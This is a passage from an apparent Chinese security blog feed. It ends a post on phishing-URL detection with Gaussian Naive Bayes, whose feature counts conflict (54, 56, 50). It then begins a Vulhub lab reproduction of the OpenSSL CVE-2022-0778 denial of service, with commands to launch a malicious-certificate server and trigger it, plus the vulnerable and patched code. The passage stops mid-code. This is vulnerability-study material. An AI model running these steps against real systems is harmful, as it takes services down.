Bayes）的自动化识别模型，并引入特征标准化流水线（Standardization Pipeline）解决了多量纲数值特征导致的预测偏差问题。实验采用包含 23.5 万样本的 PhiUSIIL 数据集，通过对 54 项 URL 维度特征的深度挖掘与预处理优化，模型在测试集上表现卓越。结果显示，优化后的流水线模型召回率（Recall）保持在 99.96%，误报数（False Positives）从原始数据的 687 例锐减至 17 例，ROC-AUC 达到 0.9998。该研究证明了轻量级生成式模型在经过严格特征工程处理后，能够在大规模实时检测场景中兼顾高精度与低延迟。&lt;/p&gt;
&lt;h2&gt;算法理论基础&lt;/h2&gt;
&lt;h3&gt;高斯朴素贝叶斯原理&lt;/h3&gt;
&lt;p&gt;朴素贝叶斯分类器基于条件独立性假设，即给定类别 $y$，各特征 $x_i$ 相互独立。其分类决策依据后验概率最大化原则：&lt;/p&gt;
&lt;p&gt;$$\hat{y} = \arg\max_{y} P(y) \prod_{i=1}^n P(x_i|y)$$&lt;/p&gt;
&lt;p&gt;对于连续型特征，本研究采用高斯概率密度函数：&lt;/p&gt;
&lt;p&gt;$$P(x_i | y) = \frac{1}{\sqrt{2\pi\sigma_y^2}} \exp\left( -\frac{(x_i - \mu_y)^2}{2\sigma_y^2} \right)$$&lt;/p&gt;
&lt;p&gt;其中 $\mu_y$ 和 $\sigma_y$ 分别是类别 $y$ 对应特征的均值和标准差。该模型的参数量级与特征维度呈线性关系，具有极高的计算效率。&lt;/p&gt;
&lt;h2&gt;特征工程与实验设计&lt;/h2&gt;
&lt;h3&gt;数据集与特征&lt;/h3&gt;
&lt;p&gt;实验使用 &lt;a href=&quot;http://archive.ics.uci.edu/dataset/967/phiusiil+phishing+url+dataset&quot;&gt;PhiUSIIL Phishing URL (Website)&lt;/a&gt; 数据集，该数据集提取了 56 项关键特征，主要分为以下四个维度：&lt;/p&gt;
&lt;h4&gt;URL 静态结构特征&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基础维度&lt;/strong&gt;：包括 &lt;code&gt;URLLength&lt;/code&gt;、&lt;code&gt;DomainLength&lt;/code&gt;、&lt;code&gt;TLDLength&lt;/code&gt; 等，用于识别异常长的混淆域名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;混淆度分析&lt;/strong&gt;：&lt;code&gt;IsDomainIP&lt;/code&gt;（检测是否直接使用IP作为域名）、&lt;code&gt;CharContinuationRate&lt;/code&gt;（字符连续率）、&lt;code&gt;NoOfObfuscatedChar&lt;/code&gt;（混淆字符数）以及 &lt;code&gt;ObfuscationRatio&lt;/code&gt;（混淆比例）。这些特征直接反映了攻击者逃避视觉审查的手段。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;统计概率特征&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信誉建模&lt;/strong&gt;：&lt;code&gt;TLDLegitimateProb&lt;/code&gt;（顶级域名合法概率）和 &lt;code&gt;URLCharProb&lt;/code&gt;（字符概率分布）。通过统计学方法量化 URL 与已知安全域名的偏离度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复杂度特征&lt;/strong&gt;：&lt;code&gt;NoOfLettersInURL&lt;/code&gt;、&lt;code&gt;NoOfDegitsInURL&lt;/code&gt; 及其对应的比例（Ratio），用于捕捉非典型字符分布。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;页面内容与行为特征&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端代码统计&lt;/strong&gt;：&lt;code&gt;LineOfCode&lt;/code&gt;（代码行数）、&lt;code&gt;LargestLineLength&lt;/code&gt;（最长行长度），反映页面复杂程度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语义一致性&lt;/strong&gt;：&lt;code&gt;DomainTitleMatchScore&lt;/code&gt; 和 &lt;code&gt;URLTitleMatchScore&lt;/code&gt;，衡量域名与页面标题的相关性。恶意网站往往通过不匹配的标题来蹭热度或误导。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交互逻辑&lt;/strong&gt;：&lt;code&gt;NoOfURLRedirect&lt;/code&gt;（跳转次数）、&lt;code&gt;NoOfPopup&lt;/code&gt;（弹窗数）、&lt;code&gt;NoOfiFrame&lt;/code&gt;（框架嵌套数）以及 &lt;code&gt;HasExternalFormSubmit&lt;/code&gt;（是否存在跨域表单提交）。这些特征是判断钓鱼页面行为的核心指标。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;行业敏感度特征&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;关键词倾向&lt;/strong&gt;：&lt;code&gt;Bank&lt;/code&gt;、&lt;code&gt;Pay&lt;/code&gt;、&lt;code&gt;Crypto&lt;/code&gt; 等布尔特征，标记页面是否涉及金融或加密货币，显著提升了对高风险钓鱼页面的识别权重。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;预处理流水线设计&lt;/h3&gt;
&lt;p&gt;在 56 个特征中，&lt;code&gt;FILENAME&lt;/code&gt;、&lt;code&gt;URL&lt;/code&gt;、&lt;code&gt;Domain&lt;/code&gt;、&lt;code&gt;TLD&lt;/code&gt; 和 &lt;code&gt;Title&lt;/code&gt; 属于文本元数据（Metadata），不直接参与数学运算。本研究设计的流水线流程如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特征剥离&lt;/strong&gt;：将上述文本字段提取为辅助审计信息，仅保留 50 个数值特征输入模型。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;标准化&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;LineOfCode&lt;/code&gt;（数值可达数千）与 &lt;code&gt;IsHTTPS&lt;/code&gt;（0或1）量纲差异巨大，流水线通过下式将所有特征拉回同一尺度：&lt;/p&gt;
&lt;p&gt;$$z = \frac{x - \mu}{\sigma}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分层抽样&lt;/strong&gt;：确保模型在 &lt;code&gt;label&lt;/code&gt;（标签项）分布上保持训练与测试的一致性。&lt;/p&gt;
&lt;h2&gt;代码实现&lt;/h2&gt;
&lt;p&gt;完整代码参见：&lt;a href=&quot;https://github.com/Mal-Suen/Malicious-Website-Detection/tree/master&quot;&gt;Malicious-Website-Detection&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;为了确保实验的可重复性及生产环境的兼容性，项目通过 &lt;code&gt;config.py&lt;/code&gt; 实现了路径与参数的解耦。特别地，通过 &lt;code&gt;METADATA_COLS&lt;/code&gt; 显式定义了非计算类字段，确保模型输入层的高度纯净。核心代码如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 基础路径配置
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
DATA_PATH = os.path.join(BASE_DIR, &apos;data&apos;, &apos;PhiUSIIL_Phishing_URL_Dataset.csv&apos;)
MODEL_SAVE_PATH = os.path.join(BASE_DIR, &apos;saved_models&apos;)

# 实验参数配置
RANDOM_STATE = 42  # 随机种子，固定此数值可保证每次运行的数据拆分结果一致
TEST_SIZE = 0.2    # 测试集占比 20%

# 数据列配置
# 标签列：1代表合法，0代表钓鱼
LABEL_COL = &apos;label&apos;
# 元数据列：不参与数学计算的文本信息
METADATA_COLS = [&apos;FILENAME&apos;, &apos;URL&apos;, &apos;Domain&apos;, &apos;TLD&apos;, &apos;Title&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在复杂的机器学习流水线中，最佳实践是将&lt;strong&gt;数据读取&lt;/strong&gt;与&lt;strong&gt;数据转换&lt;/strong&gt;分离。编写了 &lt;code&gt;get_raw_splits()&lt;/code&gt; 函数，其核心目标是保持数据的“原始性”，将所有数值变换（如标准化）留给后续的 Pipeline 统一处理，从而避免训练集信息泄露给测试集。核心代码如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_raw_splits():
    &quot;&quot;&quot;
        仅负责基础的数据加载和分层拆分，保持数据的原始性。
        预处理步骤将由后续的 Pipeline 统一管理。
    &quot;&quot;&quot;
    # 读取原始数据
    df = pd.read_csv(DATA_PATH)

    # 特征选择：剔除非数值文本列和标签列
    # drop函数用于删除指定的列
    X = df.drop(columns=METADATA_COLS + [LABEL_COL])
    y = df[LABEL_COL]

    # 数据拆分
    # stratify=y 确保训练集和测试集中0和1的比例与原始数据一致
    X_train, X_test, y_train, y_test = train_test_split(
        X, y,
        test_size=TEST_SIZE,
        random_state=RANDOM_STATE,
        stratify=y
    )

    return X_train, X_test, y_train, y_test, df
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main()&lt;/code&gt; 函数定义了从数据输入到模型落地（Production-ready）的完整生命周期。通过 Pipeline 架构，我们确保了模型在训练和预测时使用完全一致的逻辑。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def main():
    # 1. 获取原始拆分数据
    # 调用前期定义的模块，确保数据分层抽样
    X_train, X_test, y_train, y_test, raw_df = get_raw_splits()

    # 2. 构建流水线 (Pipeline)
    # Pipeline 将多个评估器组合成一个。这在处理流程时非常有用。
    pipeline = Pipeline([
        (&apos;scaler&apos;, StandardScaler()),  # 特征标准化
        (&apos;nb_classifier&apos;, GaussianNB())  # 核心算法：高斯朴素贝叶斯
    ])

    # 3. 训练流水线
    # 这一步会按顺序执行流水线中的所有步骤（先转换数据，再训练模型）
    print(&quot;正在通过流水线训练模型...&quot;)
    pipeline.fit(X_train, y_train)

    # 4. 执行预测
    y_pred = pipeline.predict(X_test)
    y_prob = pipeline.predict_proba(X_test)[:, 1]

    # 5. 指标评估
    # 调用 evaluate_model 打印 Precision, Recall, F1 等核心指标
    evaluate_model(y_test, y_pred, y_prob, model_name=&quot;Gaussian Naive Bayes V1.0&quot;)

    # 6. 错误追溯分析 (Error Analysis)
    # 通过将预测结果对齐原始 DataFrame，筛选出漏报（FN）和误报（FP）样本
    fn_df, fp_df = get_error_analysis(X_test, y_test, y_pred, raw_df)
    print(f&quot;\n[分析] 漏报样本数 (FN): {len(fn_df)} | 误报样本数 (FP): {len(fp_df)}&quot;)

    # 7. 整体持久化
    if not os.path.exists(MODEL_SAVE_PATH):
        os.makedirs(MODEL_SAVE_PATH)

    # 注意：保存的是整个 pipeline，而不仅仅是模型权重
    save_path = os.path.join(MODEL_SAVE_PATH, &quot;phish_nb_v1.pkl&quot;)
    joblib.dump(pipeline, save_path)

    print(f&quot;\n实验结束，包含预处理逻辑的完整流水线已保存至: {save_path}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实验结果与误差分析&lt;/h2&gt;
&lt;h3&gt;评价指标体系定义&lt;/h3&gt;
&lt;p&gt;在恶意网站识别的二分类任务中，单纯的准确率（Accuracy）往往无法真实反映模型在处理样本极度不平衡（如合法网站远多于钓鱼网站）时的防御能力。因此，本文引入以下多维度评估指标：&lt;/p&gt;
&lt;h4&gt;混淆矩阵&lt;/h4&gt;
&lt;p&gt;混淆矩阵（Confusion Matrix）是评估分类模型性能的最基础工具，其四个核心维度定义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;真正例（True Positive，TP）&lt;/strong&gt;：模型正确判定为“钓鱼网站”的样本数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;真负例（True Negative，TN）&lt;/strong&gt;：模型正确判定为“合法网站”的样本数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;假正例（False Positive，FP）&lt;/strong&gt;：模型将“合法网站”误报为“钓鱼网站”的数量（即&lt;strong&gt;误报&lt;/strong&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;假负例（False Negative，FN）&lt;/strong&gt;：模型将“钓鱼网站”误判为“合法网站”的数量（即&lt;strong&gt;漏报&lt;/strong&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;精确率&lt;/h4&gt;
&lt;p&gt;精确率（Precision）衡量模型预测为“恶意”的样本中，有多少是真实的恶意网站：&lt;/p&gt;
&lt;p&gt;$$Precision = \frac{TP}{TP + FP}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安全意义&lt;/strong&gt;：高精确率意味着安全告警的真实性高，减少了对正常访问的干扰（低误报）。&lt;/p&gt;
&lt;h4&gt;召回率&lt;/h4&gt;
&lt;p&gt;召回率（Recall / Sensitivity）衡量在所有真实的恶意网站中，模型成功捕捉到的比例：&lt;/p&gt;
&lt;p&gt;$$Recall = \frac{TP}{TP + FN}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安全意义&lt;/strong&gt;：Recall 是识别系统的核心指标，Recall 为 1.00 意味着模型几乎没有“漏网之鱼”。&lt;/p&gt;
&lt;h4&gt;F1-Score&lt;/h4&gt;
&lt;p&gt;F1 分数是精确率和召回率的调和平均数：&lt;/p&gt;
&lt;p&gt;$$F1 = 2 \times \frac{Precision \times Recall}{Precision + Recall}$$&lt;/p&gt;
&lt;p&gt;它综合平衡了误报与漏报，是衡量模型整体稳健性的核心指标。&lt;/p&gt;
&lt;h4&gt;支持数&lt;/h4&gt;
&lt;p&gt;支持数（Support）指的是在测试集中每个类别对应的真实样本数量。在本文实验中，Phishing（0）的 Support 为 20,189，Legitimate（1）的 Support 为 26,970。通过 Support 可以观察数据集是否存在类别倾斜。&lt;/p&gt;
&lt;h4&gt;ROC 曲线与 AUC 得分&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ROC 曲线&lt;/strong&gt;：以假正率（FPR）为横轴，真正率（TPR，即 Recall）为纵轴绘制的曲线。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AUC（Area Under Curve）&lt;/strong&gt;：指 ROC 曲线下的面积。
&lt;ul&gt;
&lt;li&gt;$AUC = 1$：理想模型，完美区分。&lt;/li&gt;
&lt;li&gt;$AUC = 0.5$：等同于随机猜测。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;实验结果&lt;/h3&gt;
&lt;h4&gt;预处理对模型性能的增益分析&lt;/h4&gt;
&lt;p&gt;为了量化特征标准化（Standardization）对高斯朴素贝叶斯算法的具体贡献，本研究记录了数据在标准化前后的详细评估指标。实验结果表明，预处理流水线对消除特征量纲偏差、优化决策边界具有极其显著的作用。&lt;/p&gt;
&lt;h4&gt;标准化前后的实验数据对比&lt;/h4&gt;
&lt;p&gt;通过对比 Baseline（未处理）与 Pipeline（标准化）实验，结果如下：&lt;/p&gt;
&lt;p&gt;下表展示了模型在 56 个原始特征下（未标准化）与经过标准化流水线处理后的性能表现：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;实验组别&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Precision&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Recall&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;F1-Score&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Support&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Accuracy&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;AUC&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;未标准化（Baseline）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Phishing（0）&lt;/td&gt;
&lt;td&gt;0.97&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.98&lt;/td&gt;
&lt;td&gt;20189&lt;/td&gt;
&lt;td&gt;0.99&lt;/td&gt;
&lt;td&gt;0.9998&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Legitimate (1)&lt;/td&gt;
&lt;td&gt;1.00&lt;/td&gt;
&lt;td&gt;0.97&lt;/td&gt;
&lt;td&gt;0.99&lt;/td&gt;
&lt;td&gt;26970&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;标准化后（Proposed）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Phishing（0）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;20189&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9998&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Legitimate (1)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;26970&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;在未进行标准化的 Baseline 实验中，Phishing 类的 Precision 仅为 &lt;strong&gt;0.97&lt;/strong&gt;，这意味着在识别出的恶意网站中存在约 3% 的误报（主要由 Legitimate 类的 0.97 Recall 引起）。经过标准化预处理后，所有指标均收敛至 &lt;strong&gt;1.00&lt;/strong&gt;。这一转变证明，通过 Z-Score 标准化，模型成功修正了因部分高数值特征（如 &lt;code&gt;LineOfCode&lt;/code&gt; 或 &lt;code&gt;LargestLineLength&lt;/code&gt;）产生的概率偏移，使模型在保持极高检测灵敏度的同时，几乎消除了“冤假错案”。&lt;/p&gt;
&lt;p&gt;值得注意的是，在两组实验中，Phishing（0）类的 Recall 始终保持在 &lt;strong&gt;1.00&lt;/strong&gt;。这表明高斯朴素贝叶斯算法配合 56 个多维度特征（特别是 &lt;code&gt;URLSimilarityIndex&lt;/code&gt; 和 &lt;code&gt;HasPasswordField&lt;/code&gt; 等强特征），对钓鱼网站的特征捕获具有天然的鲁棒性。无论数据如何平移缩放，模型都能稳健地识别出潜在的恶意威胁。&lt;/p&gt;
&lt;p&gt;标准化后的 F1-Score 达到 1.00，标志着模型在精确率与召回率之间达到了完美的平衡点。ROC-AUC 得分稳定在 &lt;strong&gt;0.9998&lt;/strong&gt;，反映出模型在不同判定阈值下均具有极强的类分离度。&lt;/p&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;在基于高斯朴素贝叶斯的恶意网站识别体系中，&lt;strong&gt;特征标准化流水线是必要项&lt;/strong&gt;。通过简单的线性变换，我们不仅将模型的准确率提升至极致，更重要的是证明了轻量级算法在数据质量得到保证的前提下，完全有能力应对复杂的网络安全分类任务。&lt;/p&gt;
</content:encoded></item><item><title>OpenSSL 拒绝服务漏洞（CVE-2022-0778）复现</title><link>https://blog.mal-suen.cn/posts/2024/08/165/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2024/08/165/</guid><description>OpenSSL 的 BN_mod_sqrt() 函数在模数为合数时会陷入无限循环，解析包含畸形椭圆曲线参数的证书即可触发，造成拒绝服务，CVSS 7.5，影响 OpenSSL 1.0.2、1.1.1、3.0 三个分支。本文在 Vulhub 环境中复现两个场景：诱使客户端解析恶意证书，以及主动攻击开启客户端证书校验的 Nginx 服务。</description><pubDate>Mon, 26 Aug 2024 02:50:22 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2022-0778 是 OpenSSL 大数运算库 BN_mod_sqrt() 函数的无限循环漏洞。该函数实现 Tonelli-Shanks 算法计算模平方根，前提是模数 $p$ 为素数，但入口没有素性校验；攻击者构造包含合数模数的 X.509 证书，任何解析该证书的程序都会陷入死循环，进程 CPU 占用率升至 100%，构成拒绝服务。证书解析发生在签名验证之前，攻击证书无需有效签名，攻击者也无需通过任何身份验证。CVSS 7.5，影响 OpenSSL 1.0.2、1.1.1、3.0 三个分支。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 openssl/CVE-2022-0778 靶场（OpenSSL 1.1.1m），覆盖两个场景：正文记录被动场景，诱使目标访问攻击者控制的恶意服务器；最后一节记录主动场景，向开启客户端证书校验（mTLS）的 Nginx 服务直接注入恶意证书。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-0778&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;td&gt;OpenSSL 1.0.2–1.0.2zc、1.1.1–1.1.1m、3.0.0–3.0.1&lt;/td&gt;
&lt;td&gt;拒绝服务攻击（DoS）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地
└─$ cd vulhub/openssl/CVE-2022-0778

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose up -d	# 拉取镜像并启动容器
└─$ docker ps	# 确认容器启动状态

acdab61f4c10   vulhub/openssl:1.1.1m-with-curl   &quot;sleep infinity&quot;   18 minutes ago   Up 18 minutes             cve-2022-0778-curl-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看当前靶机的 &lt;code&gt;openssl&lt;/code&gt; 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ cat docker-compose.yml  # 查看容器服务名称       
version: &apos;2&apos;
services:
  curl:
    image: vulhub/openssl:1.1.1m-with-curl
    command: sleep infinity

└─$ docker compose exec curl openssl version
OpenSSL 1.1.1m  14 Dec 2021		# 该版本在受影响范围内
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;恶意服务器搭建&lt;/h3&gt;
&lt;p&gt;复现的思路是诱使靶机连接攻击者控制的恶意服务器，在解析证书时触发漏洞。首先搭建恶意服务器，监听 &lt;code&gt;12345&lt;/code&gt; 端口，任何连接到此端口的 HTTPS 请求，都会收到一个包含畸形椭圆曲线参数的证书：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ docker pull yywing/cve-2022-0778
└─$ docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
start server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看容器启动情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ docker ps

e5c6e121cddf   yywing/cve-2022-0778   &quot;badserver --addr 0.…&quot;   4 seconds ago   Up 4 seconds   0.0.0.0:12345-&amp;gt;12345/tcp, :::12345-&amp;gt;12345/tcp   condescending_sutherland
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;触发漏洞&lt;/h3&gt;
&lt;p&gt;打开一个&lt;strong&gt;新的终端窗口&lt;/strong&gt;，在受害者容器内运行 &lt;code&gt;top&lt;/code&gt; 实时监控资源占用，重点关注 &lt;code&gt;%CPU&lt;/code&gt; 列，按下 &lt;code&gt;1&lt;/code&gt; 可以查看每个 CPU 核心的使用情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec curl top
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./OpenSSL-%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2022-0778%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2022-0778-top.png&quot; alt=&quot;top 监控：受害者容器初始状态&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回到靶机，模拟受害者访问恶意服务器的过程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec curl bash
root@acdab61f4c10:/# curl -k 192.168.31.152:12345
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候从先前打开的监控窗口可以看到 &lt;code&gt;curl&lt;/code&gt; 的 CPU 使用率飙升至 100%。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./OpenSSL-%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2022-0778%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2022-0778-cpu100.png&quot; alt=&quot;top 监控：curl 进程 CPU 占用飙升至 100%&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此完成了被动场景的复现。主动攻击场景见下文“主动攻击 mTLS 目标”一节。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;椭圆曲线密码学（ECC）的运算建立在素数有限域上：曲线参数中的模数 $p$ 必须是素数，运算才有定义。OpenSSL 解析 X.509 证书中的显式椭圆曲线参数时，会调用大数库的 BN_mod_sqrt() 函数计算模平方根，用于重建椭圆曲线点或校验参数。该函数假定 $p$ 为素数，入口却没有素性校验，这就是畸形参数能够触发漏洞的位置。&lt;/p&gt;
&lt;h3&gt;数学基础与算法机理&lt;/h3&gt;
&lt;h4&gt;模平方根定义&lt;/h4&gt;
&lt;p&gt;给定一个整数 $a$ 和一个素数 $p$，若存在 $x$ 满足：&lt;/p&gt;
&lt;p&gt;$$x^2 \equiv a \pmod p$$&lt;/p&gt;
&lt;p&gt;则称 $x$ 为 $a$ 模 $p$ 的平方根。若此方程有解，则 $a$ 称为模 $p$ 的二次剩余（Quadratic Residue）。&lt;/p&gt;
&lt;h4&gt;Tonelli-Shanks 算法逻辑&lt;/h4&gt;
&lt;p&gt;OpenSSL 的 BN_mod_sqrt() 函数实现了 Tonelli-Shanks 算法，用于求解上述方程。算法步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;分解：将 $p-1$ 分解为 $Q \cdot 2^S$ 的形式，其中 $Q$ 为奇数；&lt;/li&gt;
&lt;li&gt;寻找非剩余：寻找一个 $z$，使 $z$ 是模 $p$ 的二次非剩余（Quadratic Non-residue）；&lt;/li&gt;
&lt;li&gt;迭代计算：通过循环迭代，利用 $z$ 的幂次逐步修正 $a$ 的幂次，最终逼近平方根。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;漏洞触发核心：合数参数下的无限循环&lt;/h3&gt;
&lt;p&gt;Tonelli-Shanks 算法的正确性和收敛性建立在 $p$ 必须为素数这一数学前提之上。在 $p$ 为素数的情况下，欧拉准则（Euler&apos;s Criterion）保证了有限域中约有 $1/2$ 的元素是二次非剩余，因此算法能以极高概率迅速找到 $z$ 并进入后续迭代。BN_mod_sqrt() 的文档注释也写明了这一点（&apos;p&apos; must be prime!）但函数本身没有执行素性检查。&lt;/p&gt;
&lt;p&gt;在 CVE-2022-0778 中，攻击者通过修改证书的 Explicit Curve Parameters，将模数 $p$ 替换为一个合数。查看 OpenSSL 1.1.1m 中 crypto/bn/bn_sqrt.c 的实现，Tonelli-Shanks 主循环里查找阶的部分如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* find smallest  i  such that  b^(2^i) = 1 */
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        BNerr(BN_F_BN_MOD_SQRT, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在素数域下，这段循环最多执行 $e$ 次就会终止：要么 $t$ 变为 1（找到阶），要么 $i$ 递增到 $e$ 触发保护退出。当 $p$ 为合数时，模幂运算的周期性质不再成立，$t$ 可能永远不等于 1；而外层循环每轮会执行 &lt;code&gt;e = i&lt;/code&gt; 把 $e$ 更新为更小的值，一旦 $i$ 越过了当前的 $e$，&lt;code&gt;i == e&lt;/code&gt; 这个相等判断就永远不再成立，循环无法终止，进程停留在循环内持续消耗 CPU。&lt;/p&gt;
&lt;p&gt;1.1.1n 的修复把这段循环改成了有界形式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Find the smallest i, 0 &amp;lt; i &amp;lt; e, such that b^(2^i) = 1. */
for (i = 1; i &amp;lt; e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}
/* If not found, a is not a square or p is not prime. */
if (i &amp;gt;= e) {
